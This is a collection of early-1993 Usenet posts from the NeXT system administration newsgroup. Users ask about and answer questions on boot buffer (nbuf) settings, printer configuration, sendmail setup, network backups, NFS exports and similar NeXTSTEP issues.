what is the maximum value of nbuf that I can specify on bootup? Is
there a way to make it default? I know the ROM monitor only allows
twelve characters, but I use something like this
bsd sdmach nbuf=xxx
Just looking for a good use for 48MB of RAM. 8-)
Try configuring it like this: bsd- nbu=255. That works.
Carl Edman
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From: vrr@cbnewsj.cb.att.com (veenu.r.rashid)
Subject: Re: What is the max value for nbuf?
Organization: AT&T
Date: Wed, 3 Mar 1993 18:17:20 GMT
Message-ID: <1993Mar3.181720.432@cbnewsj.cb.att.com>
References: <1mvv2oINNjla@tamsun.tamu.edu> <CEDMAN.93Mar2123420@capitalist.princeton.edu>
In article <CEDMAN.93Mar2123420@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes:
>In article <1mvv2oINNjla@tamsun.tamu.edu> bryan@kolsky.tamu.edu (Bryan Milligan) writes:
> I know this subject has probably come up a number of times, but
> what is the maximum value of nbuf that I can specify on bootup? Is
> there a way to make it default? I know the ROM monitor only allows
> twelve characters, but I use something like this
> bsd sdmach nbuf=xxx
>
> Just looking for a good use for 48MB of RAM. 8-)
>
>Try configuring it like this: bsd- nbu=255. That works.
>
> Carl Edman
Just to add my two bits - this does not work. I try:
bsd- nbu=64 (11 chars)
and I get a message:
cannot boot: drive not found
or something like this. (BTW: someone *please* email me the default
configuration) I have tried resetting it via the 'p' command in the
monitor to bsd, bsd sdmach, bsd(0,0,0), b sd(0,0,0) all to no avail.
The machine refuses to boot by itself on startup now.
However, typing 'bsd- nbu=64' as a command works fine, as does
'bsd sdmach nbuf=64'
Thanks,
Veenu
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From: berteig@skorpio.usask.ca (Mishkin Berteig)
Newsgroups: comp.sys.next.sysadmin
Subject: Icon.app Patch
Date: 3 Mar 1993 20:07:37 GMT
Organization: University of Saskatchewan, Saskatoon, Canada
Sender: berteig@before.usask.ca (Mishkin Berteig)
Message-ID: <1n3369INN8al@access.usask.ca>
I was wondering if anyone out there knows what shared libraries need to
be moved around and to where in order for the patched Icon.app to work
under NS3.0?
Please reply by e-mail.
Thanks in advance...
Mishkin Berteig berteig@before.usask.ca
(NeXTMail accepted)
From: berteig@skorpio.usask.ca (Mishkin Berteig)
Newsgroups: comp.sys.next.sysadmin
Subject: Mounted hard drive and user accounts
Date: 3 Mar 1993 20:19:46 GMT
Organization: University of Saskatchewan, Saskatoon, Canada
Sender: berteig@before.usask.ca (Mishkin Berteig)
Message-ID: <1n33t2INN8qe@access.usask.ca>
I am having difficulty making user accounts "hold" their permissions on a
mounted disk. I have followed the directions in the system admin manuals
(2.0) which say that this can be solved by adding an entry for the mounted disk
to the /etc/fstab file. This does not seem to help. In watching the bootup
messages, the computer says that it is "faking root mounts". Does this have
something to do with it? The computer is using NS3.0 so perhaps there is
additional configuration required.
This is fairly critical because the main hard drive does not have enough room
for both the OS and user accounts. (To work around this problem, I have
tried moving the user accounts onto the root disk and moving NextLibrary and
NextApps onto the mounted disk - and linking to them, but the system won't
boot in this configuration.)
Any suggestions would be greatly appreciated. Please respond by e-mail.
Thanks in advance.
Mishkin Berteig berteig@before.usask.ca
NeXTMail accepted
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From: irving@Happy-Man.com (Irving_Wolfe)
Subject: Re: What is the max value for nbuf?
Message-ID: <1993Mar3.194617.25726@Happy-Man.com>
Organization: Happy Man Corp., Vashon Island, WA 98070-7399
References: <1mvv3dINNjm1@tamsun.tamu.edu> <1n0c47INNbq3@menudo.uh.edu>
Date: Wed, 3 Mar 1993 19:46:17 GMT
In <1n0c47INNbq3@menudo.uh.edu> sears@tree.egr.uh.edu (Paul S. Sears) writes:
>We use a value of 128, i.e, sdmach- nbu=128 (less than 12 characters!)
I was once cautioned by Next not to exceed 64 buffers (no reason
given), even though one can. Can anyone clarify this point?
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From: spagiola@frinext.stanford.edu (Stefano Pagiola)
Subject: Re: Icon.app Patch
Message-ID: <1993Mar3.215932.11912@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
References: <1n3369INN8al@access.usask.ca>
Date: Wed, 3 Mar 93 21:59:32 GMT
Mishkin Berteig writes
> I was wondering if anyone out there knows what shared
> libraries need to be moved around and to where in order
> for the patched Icon.app to work under NS3.0?
>
There's instructions in Sonata, in file Iconand3.0 (or something like
that) as well as a little app that will do the actual patch
(IconPatch.app). However, I have had absolutely no luck in getting
this to work (symptom: Icon crashes immediately after loading),
despite following the instructions to the letter. Might this be
because I can only get at 2.0, rather than 2.1, shared libraries?
--
-
Stefano Pagiola
Food Research Institute, Stanford University
spagiola@frinext.stanford.edu (NeXTMail encouraged)
spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
From: sayre@bird (Kirk Sayre)
Newsgroups: comp.sys.next.sysadmin
Subject: Printing via Transcript
Date: 3 Mar 1993 22:05:23 GMT
Organization: CSIS American University
Distribution: world
Message-ID: <1n3a33INNbdv@au-ns.american.edu>
We are having some strange problems running a QMS-PS410 postscript
printer in a NIS Unix network with a NeXt cube as the network print
server. It seems that the problem is happening with the Transcript
software that we are using for the filters in the printcap.
For some reason every now and then the Transcript postscript filter
thinks that some lines in the PostrScript file to be printed are
longer than 255 characters, even though there really are no lines
longer than 255 characters. After thinking that a line is longer than
255 characters, it truncates everything over 255 characters, and tries
to continue parsing the PostScript. Of course it then fails, since it
lost important PostScript code when it truncated the line.
Does anyone out there use Transcript have any idea what could be going
wrong? Or at least know where I could order some Transcript
documentation, since whoever set Transcript up lost the documentation.
Thanks,
Kirk Sayre
sayre@tosh.cas.american.edu
From: disc@vector.intercon.com (David Casti)
Newsgroups: alt.wais,comp.sys.next.sysadmin,comp.infosystems.wais,comp.infosystems.gopher
Subject: Gopher and WAIS
Date: 3 Mar 1993 22:19:08 GMT
Organization: InterCon Systems Corporation
Distribution: world
Message-ID: <1n3assINNkvo@intercon.intercon.com>
Hi,
I am still looking for anyone who has successfully compiled gopherd and
waisserver on a NeXT and was able to get them talking. I have them compiled
and running, but they won't talk to each other... Every time I try to do a
wais query from gopher, it fails and the following appears in my wais log:
1314: 9: Feb 24 15:29:07 1993: 1: Accepted connection from:
vector.intercon.com [149.52.1.130]
1314: 10: Feb 24 15:29:07 1993: 100: Child PID = 1379
1380: 999999: Feb 24 15:29:07 1993: -1: Fatal Error: Incompatable header
versions (Current version: 2, supplied version: c.
Can anyone help?
David.
=============================================================================
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Technical Support Engineer
InterCon Systems Corporation Phone: (703) 709-5554
950 Herndon Parkway, Suite 420 FAX: (703) 709-5555
Herndon, Virginia 22070
=============================================================================
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as the return address.
=============================================================================
Newsgroups: comp.sys.next.sysadmin
From: ian_stewart@pyrian.com (Ian H. Stewart)
Subject: Driver for NXCd-rom to Mac
Message-ID: <1993Mar3.211844.297@pyrian.com>
Sender: ian@pyrian.com
Organization: PYRIAN - Software Group, San Francisco Calif, 415-664-1170
Date: Wed, 3 Mar 1993 21:18:44 GMT
I am looking for the driver(s) I need to get my NeXT CD-ROM to work
on Macintosh Classic II.
Thanks.
--
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From: Matthias Imhof <gondwana@basalt.mit.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: printing on remote postscriptprinters
Date: 4 Mar 1993 00:50:01 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <1n3jnpINNcho@senator-bedfellow.MIT.EDU>
we do have two remote postscript printers. the problem with them is that you
always have to specify the -v flag in the lpr command (e.g. lpr -Plw -v xxx.ps)
the remote computers/printers dont recognize postscript themselves, you have to
specify it with the -v flag.
to do it from unix is no problem. the problem is to do it from nextstep. before
my upgrade to 3.0 i achieved that with the following trick. i defined a dummy
printers plw2 which called a script file. all this script file did was to call
lpr with the correct flag for the printer lw2. a copy of that script file is
following right here:
#!/bin/sh
##/usr/local/etc/plw2
lpr -Plw2 -v
this was the printcap entry which i used for it:
plw2|plaserwriter2|plaser2|PQMS-PS-800-2|plw2: \
:lp=/dev/null:sh=false:sd=/usr/spool/plw2d:of=/usr/local/etc/plw2: \
:ty=QMS-PS 800 Plus:
now after upgrading to 3.0 this doesnt work anymore. i also tried another
way which is to have the vf filter always in the if filter. this could be
done with the following printcap entry:
plw2|plaserwriter2|plaser2|pQMS-PS-800-2|plw2: \
:lp=:if=vf:rm=baron:rp=lw2:sd=/usr/spool/lw2d:ty=QMS-PS 800 Plus:
but this approach doesnt work either.
has anyone an idea how i could convince the nextstep print command to
call a 'lpr -v' command?
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Newsgroups: comp.sys.next.sysadmin
From: tlm@iastate.edu (Tom Marchioro)
Subject: Re: Icon.app Patch
Message-ID: <tlm.731203168@scl1.al.iastate.edu>
Sender: news@news.iastate.edu (USENET News System)
Organization: Iowa State University, Ames IA
References: <1n3369INN8al@access.usask.ca> <1993Mar3.215932.11912@leland.Stanford.EDU>
Date: Wed, 3 Mar 1993 23:59:28 GMT
In <1993Mar3.215932.11912@leland.Stanford.EDU> spagiola@frinext.stanford.edu (Stefano Pagiola) writes:
>Mishkin Berteig writes
>> I was wondering if anyone out there knows what shared
>> libraries need to be moved around and to where in order
>> for the patched Icon.app to work under NS3.0?
>>
>There's instructions in Sonata, in file Iconand3.0 (or something like
>that) as well as a little app that will do the actual patch
>(IconPatch.app). However, I have had absolutely no luck in getting
>this to work (symptom: Icon crashes immediately after loading),
>despite following the instructions to the letter. Might this be
>because I can only get at 2.0, rather than 2.1, shared libraries?
No, it means you've done everything perfectly, since now Icon is working
exactly the same under 3.0 as it once did under 2.0 :) :) :) :)
My favorite aspect of Icon (the App with the best "autoquit" in the business
is that when you *DO* want to quit it queries if that's what you really want.
As if now all of a sudden it cares...... :)
TLM
From: Matthias Imhof <gondwana@basalt.mit.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: printers in 2.0
Date: 4 Mar 1993 01:07:05 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <1n3knpINNdds@senator-bedfellow.MIT.EDU>
could someone tell me if there exists a file/link/device in nextstep2.0
called /dev/lpd/printer ?
i can not find it on my tar tape, but the printer daemon asks for it
matthias
From: infidel+@CMU.EDU (Charles William Swiger)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: What is the max value for nbuf?
Message-ID: <0fYtMQS00WB5BmRrNO@andrew.cmu.edu>
Date: 2 Mar 93 17:15:08 GMT
Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA
In-Reply-To: <1mvv1pINNjkt@tamsun.tamu.edu>
Excerpts from netnews.comp.sys.next.hardware: 2-Mar-93 What is the max
value for n.. by Bryan Milligan@kolsky.ta
> I know this subject has probably come up a number of times, but
> what is the maximum value of nbuf that I can specify on bootup? Is
> there a way to make it default? I know the ROM monitor only allows
> twelve characters, but I use something like this
> bsd sdmach nbuf=xxx
Enter the hardware monitor.
Hit 'p' to adjust the configuration parameters.
It will respond
"Boot command: <something>? "
Enter "sd- nbu=xxx", where xxx is a number less than 256.
> Just looking for a good use for 48MB of RAM. 8-)
Nice amount of system memory, there...
-Chuck
Charles William Swiger -- CMU...*crunch*! | "Foosh. Aaughh!!"
------------------------------------------+ "Foosh. Aauuggghh!!"
AMS & normal mail: infidel@cmu.edu | "Cold spray deodorant...."
Failing that: cs4w+@andrew.cmu.edu |
NeXTmail: chuck@mon.slip.andrew.cmu.edu | -- Opus, Bloom County [RIP]
Newsgroups: comp.sys.next.sysadmin
From: bobcook@slac.stanford.edu (Bob Cook)
Subject: Standard output from cron jobs
Message-ID: <C3CHnx.AsG@unixhub.SLAC.Stanford.EDU>
Sender: news@unixhub.SLAC.Stanford.EDU
Organization: Stanford Linear Accelerator Center
Date: Thu, 4 Mar 1993 03:28:44 GMT
Can someone please tell me where standard output from a cron job goes? On the
other Unix systems I've seen, it goes into mail to the cron job owner. But I can't find it on a NeXT.
Thanks.
--
Bob Cook bobcook@slac.stanford.edu
Stanford Linear Accelerator Center NeXT mail okay
From: roder@mayo.edu (Mark N. Roder)
Newsgroups: comp.mail.sendmail,comp.sys.next.sysadmin
Subject: 5.65c+IDA 1.4.4 does generics work
Message-ID: <1993Mar3.202657.7762@bmw.mayo.edu>
Date: 3 Mar 93 20:26:57 GMT
Article-I.D.: bmw.1993Mar3.202657.7762
Sender: newsman@bmw.mayo.edu (Usenet News Administrator)
Organization: Mayo Foundation, Rochester MN. Campus
I am using NeXTSTEP 3.0, sendmail 5.65c, and IDA 1.4.4
I am trying to get the GENERICS part of sendmail+ida to work. I
get the following message
> development:12# /etc/sendmail/sendmail.ida -bt -C/etc/sendmail/mayo.cf
> ADDRESS TEST MODE
> Enter <ruleset> <address>
> [Note: No initial ruleset 3 call]
> > 3,5 someone
> rewrite: ruleset 3 input: someone
> [munch munch]
> rewrite: ruleset 4 returns: someone @ development
> can't open database 'G' [/etc/sendmail/lib/generics]: No such file or
directory
> rewrite: ruleset 5 returns: < > , % development , someone
>
>
But I have:
> development:13# ls -alg /etc/sendmail/lib/generics
> -rw-r--r-- 1 root wheel 14 Mar 2 17:02 /etc/sendmail/lib/generics
>
Anybody get this to work on a NeXT running 3.0? Any ideas on where to
look for problems?
Thanks
--
Mark Roder
NeXT Consultant, Mayo Foundation
NeXT Mail: roder@mayo.edu
Office Vision: mroder
phone: (507) 284-5306
From: Hanan.Herzog@f236.n104.z1.FIDONET.ORG (Hanan Herzog)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NEED TAPE DRIVE RECOMMENDATIONS
Message-ID: <483.2B9544F5@paranet.FIDONET.ORG>
Date: 2 Mar 93 21:49:00 GMT
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From: Christian.Andretzky@mb3.tu-chemnitz.de (Christian Andretzky)
Newsgroups: gnu.utils.bug,gnu.misc.discuss,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Urgent help needed using gnu-tar to backup a mixed network
Message-ID: <gnusenet1993Mar4.004231.20969@mb3.tu-chemnitz.de>
Date: 4 Mar 93 00:42:31 GMT
Article-I.D.: mb3.gnusenet1993Mar4.004231.20969
Followup-To: gnu.utils.bug,gnu.misc.discuss,comp.sys.next.sysadmin,comp.sys.next.misc
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Hi,
I try to use gnu-tar to do backups in a mixed network (suns and NeXTs) But I
can't get it working. I've tried the tar versions 1.10, 1.11 and 1.11.1 with no
success. My configuration: NeXT cube with a HP 35480 DAT tape, suns and other
nexts to backup with this tape.
Backing up another next in this configuration works with the exception tar
1.11.1 - if I use this version I get sometimes - really sometimes altough
neither the hardware nor the software setup has been changed the error
segmentation fault. But if I try to backup a sun the whole thing will hang.
If I use tar 1.11.1 after a very long time (appr. 1 hour of waiting) I get the
message can't open host:/dev/nrst0 I/O error and the backup fails. If I use tar
1.10 the whole procedure hangs with no message and for any time so I have to
kill it.
I've tried to use the usual methods to backup the sun (from the next: rsh sun
tar cf next:/dev/nrst0 ..., rsh sun tar cf - | rsh next dd ..., from the sun
the same ways without rsh) none of them was working.
The rsh processes on the sun (rmt and tar) are waiting (flags IW), the
processes on the next are also waiting (flags SW).
But if I use (on the sun) rsh otherhost tar cf next:... to backup a remote file
system which are not located on the sun but on any other host in the network or
rsh next cf /dev/nrst0 ... to backup a local filesystem on the tapehost it
works.
Finally I've (temporary, because the sun is located in a public accessible
room) connected the tape device directly to the sun and all seems to work.
Please could somebody tell me what I'm doing wrong
TIA, Christian
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From: kramer@fragile.UUCP (Mike Andrews)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Printing over TCP/IP (NON-PostScript)
Distribution: world
Message-ID: <731229691snx@fragile.UUCP>
Date: Thu, 04 Mar 93 07:21:31 GMT
Organization: Terminal Frost
This is going to sound like a RTFM type question, but I've been R'ing all
the FM's I can find...
I've got a 386/40 running OS/2 2.0, with a Panasonic KX-P1124 printer
and TCP/IP for OS/2. I want it to be the print server for my NeXTstation.
The NeXT manuals are not very good on how to go about setting this mess
up, and not knowing much about /etc/printcap dosen't help...
So far I've tried adding a printer of type "IBM Proprinter X24" (or
whatever) in the NeXT's PrintManager (this is NeXTstep 3.0), but it dosen't
seem to have a selection for changing which host it's on -- it just sorta
assumes it's a local printer. I've tried nidump'ing printcap, trying to
edit it so it points to the other machine, and niload'ing it back, but
then the NeXT just says "can't find printer" over and over. All I did to
printcap inbetween was add an rm and rp line.
Obviously, I'm a complete newbie to this.
Can someone (by email, not by posting) step me though this mess bit by bit,
or show me where it's hidden in the docs/FAQ's? (I've looked in both, and
in all the release notes, but maybe I'm overlooking something...)
I'm assuming the OS/2 end is set up OK, because I've been able to use
"lpr -plpt1 -sos2hostname filename" from itself.
Thanks much...
mail responses to kramer@wittenberg.edu or fragile!kramer@ms.uky.edu please..
--
Mike Andrews
school... kramer@wittenberg.edu (or kramer@wittenbg.bitnet)
bedroom... root@fragile.uucp [NeXTmail OK]
hometown... kramer@mik.uky.edu
From: glenn@rightbrain.com (Glenn Reid)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Fonts and non-NeXT PS-printers?
Message-ID: <1127@rtbrain.rightbrain.com>
Date: 4 Mar 93 08:02:46 GMT
References: <1109@rtbrain.rightbrain.com>
Sender: glenn@rightbrain.com
Martin Wennerberg writes
> (I know this question has appeared before but I have not found an answer.)
>
> When printing to a PS-printer other than NeXT 400dpi Laserwriter
> the NeXT printing demon does not download fonts that are not in the
> printer memory. How can I make this work?
If you're running NeXTSTEP 3.0, You can use the "Save" button on the
print panel and then select "PostScript for Chosen Printer / Include Fonts"
or whatever it says, and it should put the fonts in-line for you.
This is predicated on use of the Font Manager part of the appkit, I believe,
so it can figure out which fonts you have used and do the right thing. I
know that it doesn't work with FrameMaker, for example, but most NeXT apps
drop in the fonts okay.
--
Glenn Reid NeXTmail: glenn@rightbrain.com
RightBrain Software 415-326-2974 (NeXTfax 326-2977)
Palo Alto, California Electronic Frontier Foundation, member #054
Newsgroups: comp.sys.next.sysadmin
From: alberto@parsec.mixcom.com
Subject: NFS mounted /LocalApps crashes on client root access
Message-ID: <1993Mar3.233428.381@parsec.mixcom.com>
Organization: SmartSoft, Inc.
Date: Wed, 3 Mar 1993 23:34:28 GMT
NetLand,
I just finished making our two NeXT's network only to find
that on the client machine selection of the /LocalApps directory
(mounted on the client as /LocalApps) will cause immediate
death to the Workspace, if accessed (opened/selected) as root.
The strange thing is that there are no problems when opening
or selecting as any other user. Has anyone seen this behaviour
before? If so what is the solution!
Please reply to alberto@parsec.mixcom.com
Thanks,
--
Manuel Alberto Ricart
alberto@parsec.mixcom.com <NeXTMail Welcome>
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: printers in 2.0
Message-ID: <1993Mar4.081129.27520@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1n3knpINNdds@senator-bedfellow.MIT.EDU>
Date: Thu, 4 Mar 1993 08:11:29 GMT
In article <1n3knpINNdds@senator-bedfellow.MIT.EDU>
<1n3knpINNdds@senator-bedfellow.MIT.EDU> writes:
>could someone tell me if there exists a file/link/device in nextstep2.0
>called /dev/lpd/printer ?
No. lpd creates a UNIX-domain socket called /dev/printer--that
may be what you're thinking of.
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Executor-why must I be root?
Message-ID: <1993Mar4.082357.28173@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993Mar1.171120.13158@nosc.mil> <CEDMAN.93Mar1183456@capitalist.princeton.edu>
Date: Thu, 4 Mar 1993 08:23:57 GMT
3. The last time I looked at the demo version, ARDI had included
complete source code for the LKS, so you could see exactly what
it was doing, or recompile it if you didn't trust the binary.
(Also, I assume one can invoke kl_util from /etc/rc.local and
eliminate the need for Executor to ever run as root? Cliff?)
-=EPS=-
From: infidel+@CMU.EDU (Charles William Swiger)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Re: What is the max value for nbuf?
Message-ID: <wfZFe7u00YUoI8mtVj@andrew.cmu.edu>
Date: 3 Mar 93 10:52:23 GMT
Article-I.D.: andrew.wfZFe7u00YUoI8mtVj
Organization: Senior, Chemistry, Carnegie Mellon, Pittsburgh, PA
In-Reply-To: <1993Mar3.181720.432@cbnewsj.cb.att.com>
Excerpts from netnews.comp.sys.next.hardware: 3-Mar-93 Re: What is the
max value f.. by veenu.r.rashid@cbnewsj.c
> Just to add my two bits - this does not work. I try:
>
> bsd- nbu=64 (11 chars)
>
> and I get a message:
>
> cannot boot: drive not found
>
> or something like this. (BTW: someone *please* email me the default
> configuration) I have tried resetting it via the 'p' command in the
> monitor to bsd, bsd sdmach, bsd(0,0,0), b sd(0,0,0) all to no avail.
>
> The machine refuses to boot by itself on startup now.
>
> However, typing 'bsd- nbu=64' as a command works fine, as does
> 'bsd sdmach nbuf=64'
My apologies if this does not show up as quickly as I'd like (CMU's news
machines are having problems, and falling a day or so behind....)
You type "bsd- nbu=64" at the monitor prompt, which means "boot" with
boot command "sd- nbu=64".
To set the boot command permenently, set "boot command: <foo-bar>? " to
"sd- nbu=xxx" using the 'p' command at the monitor prompt.
-Chuck
(posted 3:40EST 3/3/93)
Charles William Swiger -- CMU...*crunch*! | "Foosh. Aaughh!!"
------------------------------------------+ "Foosh. Aauuggghh!!"
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Failing that: cs4w+@andrew.cmu.edu |
NeXTmail: chuck@mon.slip.andrew.cmu.edu | -- Opus, Bloom County [RIP]
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From: lees@pomegranate.stanford.edu (David Lees)
Subject: Swapping to a raw disk partition
Message-ID: <1993Mar4.105554.4399@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Thu, 4 Mar 93 10:55:54 GMT
A while back there was some discussion about configuring a NeXT to swap to
a device (or partition) rather than a swap file. As I recall, this will
provide a significant performance improvement. I can't find any
documentation about how to configure swapping this way in the man pages or
digital librarian. Can anyone tell me how to make this happen ?
Thanks,
Dave
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: What is the max value for nbuf?
Date: 4 Mar 1993 15:16:36 GMT
Organization: University of Houston
Message-ID: <1n56gkINNn1h@menudo.uh.edu>
References: <1993Mar3.194617.25726@Happy-Man.com>
In article <1993Mar3.194617.25726@Happy-Man.com> irving@Happy-Man.com
(Irving_Wolfe) writes:
#In <1n0c47INNbq3@menudo.uh.edu> sears@tree.egr.uh.edu (Paul S. Sears)
writes:
#>We use a value of 128, i.e, sdmach- nbu=128 (less than 12 characters!)
#
#I was once cautioned by Next not to exceed 64 buffers (no reason
#given), even though one can. Can anyone clarify this point?
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Actually, we were warned by NeXT that the MAX _safe_ value is 128 which is
1M of memory (there were reported problems with values > 128). Your actual
mileage may vary... Most of our clients have nbu=64 (512K) but our servers
were taking a performance hit until we upped the value to 128. We have not
had any problems with our servers. There are others posting on the net that
say to use nbuf=256 (2M), but we are reluctanct to go that high. Just pick
a value you are comfortable with (but, unless you have some really busy
servers, like we do, then nbuf=64 is probably a good, safe amount). Our two
servers, btw, serve 51 NeXT clients and have 5G of user accounts... :-)
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: shviid@magnus.acs.ohio-state.edu (Steen H Hviid)
Subject: remote backup to DAT drive
Message-ID: <1993Mar4.164103.21317@magnus.acs.ohio-state.edu>
Sender: news@magnus.acs.ohio-state.edu
Organization: The Ohio State University
Distribution: usa
Date: Thu, 4 Mar 1993 16:41:03 GMT
I am trying to backup a remote NeXT to the DAT drive attached to my NeXT.
The remote system is a server for several users, so the backup process
must be root to get everybodys files. I do not wish to grant a 'foreign'
root access to my NeXT, rather only as a regular user. The remote system
is not 'trusted'. I tried to create a user named 'rbackup' on the remote
system, with root access (user 0), but my system still consider it to be root,
which is not strange now I think of it, the remote system does a lookup
of the name and finds 'root' to match user 0.
The only thing we can think of now is to have a cron job on my system create
an /.rhosts file for the duration of the unattended backup, and delete it when
it is supposed to be completed.
Does anyone have a better idea?
Thanks
Steen Hansen
Computer Specialist
Ohio State University
From: eilts@late.e-technik.uni-erlangen.de (Hinrich Eilts)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: What is the max value for nbuf?
Date: Thu, 4 Mar 1993 18:55:57 GMT
Organization: LATE, Uni-Erlangen, Germany
Message-ID: <1n5jbtE5j9@uni-erlangen.de>
References: <1993Mar3.194617.25726@Happy-Man.com> <1n56gkINNn1h@menudo.uh.edu>
I'm using nbuf=256 since months without problems.
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From: sayre@bird (Kirk Sayre)
Newsgroups: comp.sys.next.sysadmin
Subject: Transcript
Date: 4 Mar 1993 18:29:05 GMT
Organization: CSIS American University
Distribution: world
Message-ID: <1n5hphINNrdk@au-ns.american.edu>
Does anyone know where I can get some documentation for the Transcript
print filtering system?
Kirk Sayre
sayre@tosh.cas.american.edu
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From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: NFS exports to netgroups
Message-ID: <1993Mar4.191433.500@linus.mitre.org>
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
Distribution: usa
Date: Thu, 4 Mar 1993 19:14:33 GMT
I am experiencing problems exporting directories from the server
to netgroups. In NFSManager, I export a directory with default
NONE access, and add a netgroup (already defined by adding it to
host entries in HostManager) to have Read or Read & Write access.
However, after rebooting both server and client, I am unable to
access the directory from any of the hosts in the netgroup, and in
the boot messages (or the console on the server) I get Bad
Authentication errors.
Any ideas?
Newsgroups: comp.sys.next.sysadmin
From: jblue@ocotillo.mitre.org (Jason D. Blue)
Subject: sendmail.mailhost.cf
Message-ID: <1993Mar4.194751.1450@linus.mitre.org>
Sender: news@linus.mitre.org (News Service)
Organization: The MITRE Corporation
Distribution: usa
Date: Thu, 4 Mar 1993 19:47:51 GMT
I have set up a network of 3.0 slabs on an existing LARGE net, so I set
up my own mailhost, which I want to take care of delivering mail
within my NetInfo domain. No problems doing so this far.
The domain name (internet domain name), mitre.org, is also the
name of the central mail distribution facility. Unfortunetly,
the Next mailhost interprets all mail to user@mitre.org to be
user@LOCAL, i.e. a local user. Instead, it should pass it to the
central mail distribution facility.
Do you know of an easy way of correcting this? Right now I am doing so
by rewriting sendmail.mailhost.cf's rewrite rule 6 (S6) to
include the following:
# 022493 JDB: Added a rewrite rule to rule set 6 to handle the
user@mitre.org case
R$*<@$=m> $1%$m<@$R.LOCAL> pass to mail-relay
# The mail-relay is set to mwunix in the netinfo machines entry.
Isn't there a cleaner way to do this?
Thanks,
Jason D. Blue
The MITRE Corporation
Newsgroups: comp.mail.sendmail,comp.sys.next.sysadmin
From: aultj@rpi.edu (Jim Ault)
Subject: Re: 5.65c+IDA 1.4.4 does generics work
In-Reply-To: roder@mayo.edu's message of 3 Mar 93 20:26:57 GMT
Message-ID: <AULTJ.93Mar4150751@jacob.rpi.edu>
Organization: Rensselaer Polytechnic Institute
References: <1993Mar3.202657.7762@bmw.mayo.edu>
Date: Thu, 4 Mar 1993 20:07:51 GMT
In article <1993Mar3.202657.7762@bmw.mayo.edu> roder@mayo.edu (Mark N. Roder) writes:
I am trying to get the GENERICS part of sendmail+ida to work. I
get the following message
> can't open database 'G' [/etc/sendmail/lib/generics]: No such file or
directory
But I have:
> development:13# ls -alg /etc/sendmail/lib/generics
> -rw-r--r-- 1 root wheel 14 Mar 2 17:02 /etc/sendmail/lib/generics
Anybody get this to work on a NeXT running 3.0? Any ideas on where to
look for problems?
Generics is a dbm database. You need to build that database (.dir and
.pag files) from the flat file you have already created. Use the
following command after changing to that directory:
dbm -L make generics generics
The dbm command is found and built in the ida/aux directory of the
distribution.
This same command will work to rebuild all the other dbm databases you
might want to use with IDA like mailertable, domaintable, etc.
I have no experience with Next's using this package, but this is the
way it works for me on Suns.
--
Jim Ault, ITS Systems Programmer, RPI, Troy, NY 12180 USA aultj@rpi.edu <><
From: berteig@skorpio.usask.ca (Mishkin Berteig)
Newsgroups: comp.sys.next.sysadmin
Subject: Thanks for help with Icon.app patch and mounted disk
Date: 4 Mar 1993 18:28:17 GMT
Organization: University of Saskatchewan, Saskatoon, Canada
Sender: berteig@before.usask.ca (Mishkin Berteig)
Message-ID: <1n5ho1INNkc1@access.usask.ca>
Newsgroups: comp.sys.next.sysadmin
From: uunet!sci34hub!tybrin4!trey (Trey McClendon)
Subject: Strange pop snd during login from WorkSpace
Message-ID: <1993Mar4.134213.29091@tybrin4.uucp>
Sender: trey@tybrin4.uucp
Organization: TYBRIN Corporation, Huntsville AL
Distribution: usa
Date: Thu, 4 Mar 1993 13:42:13 GMT
Hi All,
My slab, NS 3.0 - equipped, recently starting producing the pop.snd sound
during login. It occurs between when the login window disappears and when
the File Viewer and Dock appear. I cannot for the life of me remember
what I could have done to make this happen. Does anybody know in general
what causes this? Maybe some file missing? Everything else works OK.
Trey
Trey McClendon
tybrin4!trey@sci34hub.sci.com
Newsgroups: comp.sys.next.sysadmin
From: dave@fosters.huma.yorku.ca (David Aspinall)
Subject: Re: Help with SLIP
Message-ID: <1993Mar5.041415.6408@newshub.ccs.yorku.ca>
Sender: news@newshub.ccs.yorku.ca (USENET News System)
Organization: York University, Humanities Department
References: <CEDMAN.93Feb25214203@capitalist.princeton.edu>
Date: Fri, 5 Mar 1993 04:14:15 GMT
cedman@princeton.edu (Carl Edman) writes:
:
: You can do better. If your terminal server is among the more common
: types you can write scripts for Louis Mamakos dialupip (which I take
: it you are using ? -- there are also other SLIP packages for the NeXT)
: which gets the IP address from the remote server on connect and then
: configures your system to have that address. If you do this make
: certain that starting dialupip doesn't happen in rc.local (as the
: documentation suggestion), but much earlier eg. right after the syslog
: daemon is started in rc. This is necessary as some daemons (like eg.
: sendmail) get the local hostname once on startup and hence dialupip
: must have connected and re-configured the hostname before they start.
: This is the best you can do with local configuration and works
: reasonably well once you have the configuration done correctly -- but
: getting there is not for the faint of heart.
